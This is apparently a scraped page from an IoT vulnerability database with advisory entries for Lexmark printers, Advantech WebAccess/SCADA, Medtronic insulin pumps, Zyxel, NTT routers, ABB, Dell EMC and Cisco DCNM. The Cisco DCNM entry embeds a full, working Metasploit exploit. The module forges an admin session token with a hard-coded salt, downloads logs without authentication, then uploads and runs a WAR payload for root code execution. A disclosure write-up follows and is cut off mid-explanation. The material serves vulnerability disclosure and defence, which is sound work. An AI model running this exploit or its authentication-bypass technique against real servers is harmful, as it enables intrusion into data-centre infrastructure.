VARIoT IoT vulnerabilities database
| VAR-201906-0821 | CVE-2018-15519 | plural Lexmark Device buffer error vulnerability |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
Various Lexmark devices have a Buffer Overflow (issue 1 of 2). plural Lexmark The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The Lexmark CX310 and others are all multi-function printers from Lexmark. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. The following products and versions are affected: Lexmark CX310 LW70.GM2.P204 and earlier; CX410 LW70.GM4.P204 and earlier; CX510 LW70.GM7.P204 and earlier; XC2132 LW70.GM7.P204 and earlier; MX31x LW70 .SB2.P204 and earlier; MX41x LW70.SB4.P204 and earlier; MX51x LW70.SB4.P204 and earlier; XM1145 LW70.SB4.P204 and earlier; MX61x LW70.SB7.P204 and earlier; XM3150 LW70 .SB7.P204 and previous versions, etc
| VAR-201906-0822 | CVE-2018-15520 | plural Lexmark Device buffer error vulnerability |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
Various Lexmark devices have a Buffer Overflow (issue 2 of 2). plural Lexmark The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Lexmark CX82x and so on are a multi-function printer of American Lexmark (Lexmark). A buffer error vulnerability exists in several Lexmark products. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. The following products and versions are affected: Lexmark CX82x CXTPP.052.024 and earlier, versions 052.200 to 052.204; CX860 CXTPP.052.024 and earlier, versions 052.200 to 052.204; XC6152 CXTPP.052.024 and earlier, versions 052.200 to 052.204 XC8155 CXTPP.052.024 and earlier, version 052.200 to 052.204; XC8160 CXTPP.052.024 and earlier, version 052.200 to 052.204; CX72x CXTAT.052.024 and earlier, version 052.200 to 052.204 and earlier; XC41x0 CX Version 052.200 to Version 052.204; CX92x, etc
| VAR-201906-1029 | CVE-2019-10993 | Advantech WebAccess/SCADA Arbitrary code execution vulnerability |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
In WebAccess/SCADA Versions 8.3.5 and prior, multiple untrusted pointer dereference vulnerabilities may allow a remote attacker to execute arbitrary code. WebAccess/SCADA Is NULL A vulnerability related to pointer dereference exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the 0x2776 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment
| VAR-201906-1027 | CVE-2019-10989 | WebAccess/SCADA Buffer error vulnerability |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
In WebAccess/SCADA Versions 8.3.5 and prior, multiple heap-based buffer overflow vulnerabilities are caused by a lack of proper validation of the length of user-supplied data. Exploitation of these vulnerabilities may allow remote code execution. Note: A different vulnerability than CVE-2019-10991. WebAccess/SCADA Contains a buffer error vulnerability. This vulnerability CVE-2019-10991 Is a different vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x11372 IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code under the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities:
1. A directory-traversal vulnerability
2. Multiple stack-based buffer-overflow vulnerabilities
3. Multiple heap-based buffer-overflow vulnerabilities
4. Multiple remote-code execution vulnerabilities
An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks.
Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable
| VAR-201906-1028 | CVE-2019-10991 | WebAccess/SCADA Buffer error vulnerability |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
In WebAccess/SCADA, Versions 8.3.5 and prior, multiple stack-based buffer overflow vulnerabilities are caused by a lack of proper validation of the length of user-supplied data. Exploitation of these vulnerabilities may allow remote code execution. WebAccess/SCADA Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x271C IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities:
1. A directory-traversal vulnerability
2. Multiple stack-based buffer-overflow vulnerabilities
3. Multiple heap-based buffer-overflow vulnerabilities
4. An information disclosure vulnerability
5. Multiple remote-code execution vulnerabilities
An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks.
Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable
| VAR-201906-1025 | CVE-2019-10985 | Advantech WebAccess/SCADA Path traversal vulnerability |
CVSS V2: 6.4 CVSS V3: 9.1 Severity: CRITICAL |
In WebAccess/SCADA, Versions 8.3.5 and prior, a path traversal vulnerability is caused by a lack of proper validation of a user-supplied path prior to use in file operations. An attacker can leverage this vulnerability to delete files while posing as an administrator. WebAccess/SCADA Contains a path traversal vulnerability.Information may be tampered with. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2715 IOCTL in the webvrpcs process. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities:
1. A directory-traversal vulnerability
2. Multiple stack-based buffer-overflow vulnerabilities
3. Multiple heap-based buffer-overflow vulnerabilities
4. An information disclosure vulnerability
5. Multiple remote-code execution vulnerabilities
An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks.
Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable
| VAR-201906-1024 | CVE-2019-10983 | WebAccess/SCADA Vulnerable to out-of-bounds reading |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
In WebAccess/SCADA Versions 8.3.5 and prior, an out-of-bounds read vulnerability is caused by a lack of proper validation of user-supplied data. Exploitation of this vulnerability may allow disclosure of information. WebAccess/SCADA Contains an out-of-bounds vulnerability.Information may be obtained. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within viewsrv.dll, which is accessed through the 0x2722 IOCTL in the webvrpcs process. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A buffer overflow vulnerability exists in Advantech WebAccess/SCADA 8.3.5 and earlier that could allow an attacker to cause a buffer overflow or heap overflow. Advantech WebAccess/SCADA is prone to the following security vulnerabilities:
1. A directory-traversal vulnerability
2. Multiple stack-based buffer-overflow vulnerabilities
3. Multiple heap-based buffer-overflow vulnerabilities
4. Multiple remote-code execution vulnerabilities
An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks.
Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable. This vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in the execution of wrong data to other associated memory locations. read and write operations
| VAR-201906-1020 | CVE-2019-10964 | plural Medtronic Minimed Access control vulnerabilities in products |
CVSS V2: 5.8 CVSS V3: 8.8 Severity: HIGH |
Medtronic MiniMed Insulin Pumps
are designed to communicate using a wireless RF with other devices, such as blood glucose meters, glucose sensor transmitters, and CareLink USB devices. This wireless RF communication protocol does not properly implement authentication or authorization. An attacker with adjacent access to one of the affected insulin pump models can inject, replay, modify, and/or intercept data. This vulnerability could also allow attackers to change pump settings and control insulin delivery. plural Medtronic Minimed The product contains an access control vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Multiple Medtronic Products are prone to an security-bypass vulnerability.
Successful exploits may allow an attacker to bypass certain security restrictions and to perform unauthorized actions; this may aid in launching further attacks. Medtronic MiniMed 508 pump and others are insulin pumps from Medtronic. This vulnerability stems from network systems or products not properly restricting access to resources from unauthorized roles. The following products and versions are affected: MiniMed 508 pump (all versions); MiniMed Paradigm 511 pump (all versions); MiniMed Paradigm 512/712 pumps (all versions); MiniMed Paradigm 712E pump (all versions); MiniMed Paradigm 515/715 pumps (all versions); MiniMed Paradigm 522/722 pumps (all versions); MiniMed Paradigm 522K/722K pumps (all versions); MiniMed Paradigm 523/723 pumps (2.4A and earlier); MiniMed Paradigm 523K/723K pumps (2.4A and earlier); MiniMed Paradigm Veo 554/754 pumps (2.6A and earlier); MiniMed Paradigm Veo 554CM and 754CM models (2.7A and earlier)
| VAR-201906-0479 | CVE-2019-12581 | plural Zyxel Product site cross-site scripting vulnerability |
CVSS V2: 4.3 CVSS V3: 6.1 Severity: MEDIUM |
A reflective Cross-site scripting (XSS) vulnerability in the free_time_failed.cgi CGI program in selected Zyxel ZyWall, USG, and UAG devices allows remote attackers to inject arbitrary web script or HTML via the err_msg parameter. Zyxel ZyWall , USG , UAG The device contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. ZyXEL ZyWall 310, etc. are all products of China Taiwan ZyXEL (ZyXEL). ZyXEL ZyWall 310 is a 310 series VPN firewall appliance. ZyXEL ZyWall 110 is a 110 series VPN firewall appliance. ZyXEL USG1900 is a next-generation unified security gateway device. The vulnerability stems from the lack of correct validation of client data in WEB applications. An attacker could exploit this vulnerability to execute client code
| VAR-201909-0236 | CVE-2019-5986 | Nippon Telegraph and Telephone Hikari Denwa Phone Home Gateway Cross-Site Request Forgery Vulnerability |
CVSS V2: 6.8 CVSS V3: 8.8 Severity: Medium |
Cross-site request forgery (CSRF) vulnerability in Hikari Denwa router/Home GateWay (Hikari Denwa router/Home GateWay provided by NIPPON TELEGRAPH AND TELEPHONE EAST CORPORATION PR-S300NE/RT-S300NE/RV-S340NE firmware version Ver. 19.41 and earlier, PR-S300HI/RT-S300HI/RV-S340HI firmware version Ver.19.01.0005 and earlier, PR-S300SE/RT-S300SE/RV-S340SE firmware version Ver.19.40 and earlier, PR-400NE/RT-400NE/RV-440NE firmware version Ver.7.42 and earlier, PR-400KI/RT-400KI/RV-440KI firmware version Ver.07.00.1010 and earlier, PR-400MI/RT-400MI/RV-440MI firmware version Ver. 07.00.1012 and earlier, PR-500KI/RT-500KI firmware version Ver.01.00.0090 and earlier, RS-500KI firmware version Ver.01.00.0070 and earlier, PR-500MI/RT-500MI firmware version Ver.01.01.0014 and earlier, and RS-500MI firmware version Ver.03.01.0019 and earlier, and Hikari Denwa router/Home GateWay provided by NIPPON TELEGRAPH AND TELEPHONE WEST CORPORATION PR-S300NE/RT-S300NE/RV-S340NE firmware version Ver. 19.41 and earlier, PR-S300HI/RT-S300HI/RV-S340HI firmware version Ver.19.01.0005 and earlier, PR-S300SE/RT-S300SE/RV-S340SE firmware version Ver.19.40 and earlier, PR-400NE/RT-400NE/RV-440NE firmware version Ver.7.42 and earlier, PR-400KI/RT-400KI/RV-440KI firmware version Ver.07.00.1010 and earlier, PR-400MI/RT-400MI/RV-440MI firmware version Ver. 07.00.1012 and earlier, PR-500KI/RT-500KI firmware version Ver.01.00.0090 and earlier, and PR-500MI/RT-500MI firmware version Ver.01.01.0011 and earlier) allow remote attackers to hijack the authentication of administrators via unspecified vectors. * Cross-site Scripting (CWE-79) - CVE-2019-5985 * Cross-site Request Forgery (CWE-352) - CVE-2019-5986 Toshitsugu Yoneyama of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership. *An arbitrary script may be executed on the user's web browser - CVE-2019-5985 *If a user who is logging into the device accesses a specially crafted web page, unintended operations may be conducted - CVE-2019-5986. NipponTelegraphandTelephoneHikariDenwaPhoneHomeGateway is a Nippon TelegraphandTelephone company's IP telephony service for its fiber service users. The vulnerability stems from the fact that the web application did not fully verify that the request came from a trusted user. An attacker could exploit the vulnerability to send an unexpected request to the server through an affected client
| VAR-202001-1490 | CVE-2019-10995 | ABB CP651 HMI Trust Management Issue Vulnerability |
CVSS V2: 5.8 CVSS V3: 8.8 Severity: HIGH |
ABB CP651 HMI products revision BSP UN30 v1.76 and prior implement hidden administrative accounts that are used during the provisioning phase of the HMI interface. ABB CP651 HMI The product contains a vulnerability involving the use of hard-coded credentials.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. ABB CP651 is a control panel of Swiss ABB company.
ABB CP651 HMI has a vulnerability in trust management issues. Attackers can use this vulnerability to insert and run arbitrary code on the affected system. Multiple ABB Products are prone to an hard-coded credentials vulnerability.
An attacker can exploit this issue to gain unauthorized access to the affected application, obtain sensitive information, cause denial-of-service conditions or execute arbitrary code on the affected system
| VAR-201906-0481 | CVE-2019-12583 | plural Zyxel Vulnerabilities related to authorization, authority, and access control in product devices |
CVSS V2: 6.4 CVSS V3: 9.1 Severity: CRITICAL |
Missing Access Control in the "Free Time" component of several Zyxel UAG, USG, and ZyWall devices allows a remote attacker to generate guest accounts by directly accessing the account generator. This can lead to unauthorised network access or Denial of Service. Zyxel UAG , USG , ZyWall Devices have vulnerabilities related to authorization, permissions, and access control.Tampering with information and disrupting service operations (DoS) There is a possibility of being put into a state. ZyXEL ZyWall 310, etc. are all products of China Taiwan ZyXEL (ZyXEL). ZyXEL ZyWall 310 is a 310 series VPN firewall appliance. ZyXEL ZyWall 110 is a 110 series VPN firewall appliance. ZyXEL USG1900 is a next-generation unified security gateway device
| VAR-201909-0235 | CVE-2019-5985 | Nippon Telegraph and Telephone Hikari Denwa Phone Home Gateway Cross-Site Scripting Vulnerability |
CVSS V2: 4.3 CVSS V3: 6.1 Severity: Medium |
Cross-site scripting vulnerability in Hikari Denwa router/Home GateWay (Hikari Denwa router/Home GateWay provided by NIPPON TELEGRAPH AND TELEPHONE EAST CORPORATION PR-S300NE/RT-S300NE/RV-S340NE firmware version Ver. 19.41 and earlier, PR-S300HI/RT-S300HI/RV-S340HI firmware version Ver.19.01.0005 and earlier, PR-S300SE/RT-S300SE/RV-S340SE firmware version Ver.19.40 and earlier, PR-400NE/RT-400NE/RV-440NE firmware version Ver.7.42 and earlier, PR-400KI/RT-400KI/RV-440KI firmware version Ver.07.00.1010 and earlier, PR-400MI/RT-400MI/RV-440MI firmware version Ver. 07.00.1012 and earlier, PR-500KI/RT-500KI firmware version Ver.01.00.0090 and earlier, RS-500KI firmware version Ver.01.00.0070 and earlier, PR-500MI/RT-500MI firmware version Ver.01.01.0014 and earlier, and RS-500MI firmware version Ver.03.01.0019 and earlier, and Hikari Denwa router/Home GateWay provided by NIPPON TELEGRAPH AND TELEPHONE WEST CORPORATION PR-S300NE/RT-S300NE/RV-S340NE firmware version Ver. 19.41 and earlier, PR-S300HI/RT-S300HI/RV-S340HI firmware version Ver.19.01.0005 and earlier, PR-S300SE/RT-S300SE/RV-S340SE firmware version Ver.19.40 and earlier, PR-400NE/RT-400NE/RV-440NE firmware version Ver.7.42 and earlier, PR-400KI/RT-400KI/RV-440KI firmware version Ver.07.00.1010 and earlier, PR-400MI/RT-400MI/RV-440MI firmware version Ver. 07.00.1012 and earlier, PR-500KI/RT-500KI firmware version Ver.01.00.0090 and earlier, and PR-500MI/RT-500MI firmware version Ver.01.01.0011 and earlier) allow remote attackers to inject arbitrary web script or HTML via unspecified vectors. * Cross-site Scripting (CWE-79) - CVE-2019-5985 * Cross-site Request Forgery (CWE-352) - CVE-2019-5986 Toshitsugu Yoneyama of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership. *An arbitrary script may be executed on the user's web browser - CVE-2019-5985 *If a user who is logging into the device accesses a specially crafted web page, unintended operations may be conducted - CVE-2019-5986. NipponTelegraphandTelephoneHikariDenwaPhoneHomeGateway is a Nippon TelegraphandTelephone company's IP telephony service for its fiber service users. The vulnerability stems from the lack of proper validation of client data for web applications. An attacker could exploit the vulnerability to execute client code
| VAR-201906-1026 | CVE-2019-10987 | WebAccess/SCADA Vulnerable to out-of-bounds writing |
CVSS V2: 6.8 CVSS V3: 8.8 Severity: HIGH |
In WebAccess/SCADA Versions 8.3.5 and prior, multiple out-of-bounds write vulnerabilities are caused by a lack of proper validation of the length of user-supplied data. Exploitation of these vulnerabilities may allow remote code execution. WebAccess/SCADA Contains an out-of-bounds vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwdraw.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities:
1. A directory-traversal vulnerability
2. Multiple stack-based buffer-overflow vulnerabilities
3. Multiple heap-based buffer-overflow vulnerabilities
4. An information disclosure vulnerability
5. Multiple remote-code execution vulnerabilities
An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks.
Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable. The vulnerability stems from the fact that the program does not correctly verify the length of the data provided by the user
| VAR-201907-0245 | CVE-2019-3734 | Dell EMC Unity and UnityVSA Authorization vulnerability |
CVSS V2: 4.0 CVSS V3: 4.3 Severity: MEDIUM |
Dell EMC Unity and UnityVSA versions prior to 5.0.0.0.5.116 contain an improper authorization vulnerability in NAS Server quotas configuration. A remote authenticated Unisphere Operator could potentially exploit this vulnerability to edit quota configuration of other users. Dell EMC Unity and UnityVSA Contains an authorization vulnerability.Information may be tampered with.
An attacker may leverage these issues to bypass certain security restrictions and obtain sensitive information; this may aid in launching further attacks. UnityVSA is a virtual Unity storage environment. This vulnerability stems from the lack of authentication measures or insufficient authentication strength in network systems or products
| VAR-201907-0095 | CVE-2019-3741 | Dell EMC Unity and UnityVSA Vulnerability in protection mechanism |
CVSS V2: 2.1 CVSS V3: 7.8 Severity: HIGH |
Dell EMC Unity and UnityVSA versions prior to 5.0.0.0.5.116 contain a plain-text password storage vulnerability. A Unisphere user’s (including the admin privilege user) password is stored in a plain text in Unity Data Collection bundle (logs files for troubleshooting). A local authenticated attacker with access to the Data Collection bundle may use the exposed password to gain access with the privileges of the compromised user. Dell EMC Unity and UnityVSA Contains a vulnerability related to failure of the protection mechanism.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state.
An attacker may leverage these issues to bypass certain security restrictions and obtain sensitive information; this may aid in launching further attacks. UnityVSA is a virtual Unity storage environment
| VAR-201906-0566 | CVE-2019-1619 | Cisco Data Center Network Manager Vulnerabilities in access control |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to bypass authentication and execute arbitrary actions with administrative privileges on an affected device. The vulnerability is due to improper session management on affected DCNM software. An attacker could exploit this vulnerability by sending a crafted HTTP request to the affected device. A successful exploit could allow the attacker to gain administrative access on the affected device. Cisco Data Center Network Manager (DCNM) Contains an access control vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Cisco DataCenter NetworkManager (DCNM) is Cisco's suite of data center network managers that enable multi-protocol management of the network and provide troubleshooting capabilities for the health and performance of the switch. This may lead to further attacks.
This issue is being tracked by Cisco bug ID CSCvo64641.
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
work on a few versions below 10.4(2).
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-1619' ], # auth bypass
[ 'CVE', '2019-1620' ], # file upload
[ 'CVE', '2019-1622' ], # log download
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Automatic', {} ],
[
'Cisco DCNM 11.1(1)', {}
],
[
'Cisco DCNM 11.0(1)', {}
],
[
'Cisco DCNM 10.4(2)', {}
]
],
'Privileged' => true,
'DefaultOptions' => { 'WfsDelay' => 10 },
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 26 2019'
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Connect with TLS', true]),
OptString.new('TARGETURI', [true, "Default server path", '/']),
OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']),
OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']),
])
end
def check
# at the moment this is the best way to detect
# check if pmreport and fileUpload servlets return a 500 error with no params
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
'vars_get' =>
{
'token' => rand_text_alpha(5..20)
},
'method' => 'GET'
)
if res && res.code == 500
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
'method' => 'GET',
)
if res && res.code == 500
return CheckCode::Detected
end
end
CheckCode::Unknown
end
def target_select
if target != targets[0]
return target
else
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),
'method' => 'GET'
)
if res && res.code == 200
if res.body.include?('version":"11.1(1)')
print_good("#{peer} - Detected DCNM 11.1(1)")
print_status("#{peer} - No authentication required, ready to exploit!")
return targets[1]
elsif res.body.include?('version":"11.0(1)')
print_good("#{peer} - Detected DCNM 11.0(1)")
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
return targets[2]
elsif res.body.include?('version":"10.4(2)')
print_good("#{peer} - Detected DCNM 10.4(2)")
print_status("#{peer} - No authentication required, ready to exploit!")
return targets[3]
else
print_error("#{peer} - Failed to detect target version.")
print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")
print_error(res.body)
print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass")
return targets[3]
end
end
fail_with(Failure::NoTarget, "#{peer} - Failed to determine target")
end
end
def auth_v11
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET',
'vars_get' =>
{
'userName' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
)
if res && res.code == 200
# get the JSESSIONID cookie
if res.get_cookies
res.get_cookies.split(';').each do |cok|
if cok.include?("JSESSIONID")
return cok
end
end
end
end
end
def auth_v10
# step 1: get a JSESSIONID cookie and the server Date header
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET'
)
# step 2: convert the Date header and create the auth hash
if res && res.headers['Date']
jsession = res.get_cookies.split(';')[0]
date = Time.httpdate(res.headers['Date'])
server_date = date.strftime("%s").to_i * 1000
print_good("#{peer} - Got sysTime value #{server_date.to_s}")
# auth hash format:
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
session_id = rand(1000..50000).to_s
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"
md5_str = Base64.strict_encode64(md5)
# step 3: authenticate our cookie as admin
# token format: sessionId.sysTime.md5_str.username
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
'cookie' => jsession,
'vars_get' =>
{
'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"
},
'method' => 'GET'
)
if res && res.code == 500
return jsession
end
end
end
# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log
def get_war_path
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),
'method' => 'GET'
)
if res && res.code == 200
tmp = Tempfile.new
# we have to drop this into a file first
# else we will get a Zip::GPFBit3Error if we use an InputStream
File.binwrite(tmp, res.body)
Zip::File.open(tmp) do |zis|
zis.each do |entry|
if entry.name =~ /jboss[0-9]*\.log/
fdata = zis.read(entry)
if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/]
tmp.close
tmp.unlink
return $1.strip
end
end
end
end
end
end
def exploit
target = target_select
if target == targets[2]
jsession = auth_v11
elsif target == targets[3]
jsession = auth_v10
end
# targets[1] DCNM 11.1(1) doesn't need auth!
if jsession.nil? && target != targets[1]
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
elsif target != targets[1]
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
end
war_path = get_war_path
if war_path.nil? or war_path.empty?
fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")
else
print_good("#{peer} - Obtain WAR path from logs: #{war_path}")
end
# Generate our payload... and upload it
app_base = rand_text_alphanumeric(6..16)
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
fname = app_base + '.war'
post_data = Rex::MIME::Message.new
post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")
post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")
post_data.add_part(war_payload,
"application/octet-stream", 'binary',
"form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")
data = post_data.to_s
print_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
'method' => 'POST',
'data' => data,
'cookie' => jsession,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
if res && res.code == 200 && res.body[/#{fname}/]
print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")
sleep 10
print_status("#{peer} - Executing payload...")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, app_base),
'method' => 'GET'
)
else
fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")
end
end
end
.
DCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale.
DCNM 11.1(1) and below is affected by four vulnerabilities: authentication bypass, arbitrary file upload (leading to remote code execution), arbitrary file download and information disclosure via log download.
The table below lists the affected versions for each vulnerability:
Vulnerability Vulnerable? CVE
<= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1)
Authentication bypass Yes No No No 2019-1619
File upload Yes, auth Yes, auth Yes, unauth No 2019-1620
File download Yes, auth Yes, auth Yes, unauth No 2019-1621
Info disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622
The authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution.
In version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure.
Amazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication!
All vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown.
To achieve remote code execution with arbitrary file upload vulnerability, an attacker can write a WAR file in the Tomcat webapps folder. The Apache Tomcat server is running as root, meaning that the Java shell will run as root.
Agile Information Security would like to thank the iDefense Vulnerability Contributor Program for handling the disclosure process with Cisco [1]. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus® and Cisco Multilayer Distributed Switching (MDS) solutions.
DCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3].
The snippet of code below shows what the servlet does:
com.cisco.dcbu.web.client.performance.ReportServlet
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)request.getSession().getAttribute("credentials");
if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) {
request.setAttribute("popUpSessionTO", "true");
}
this.doInteractiveChart(request, response);
}
The request is passed on to the verifyToken function, listed below:
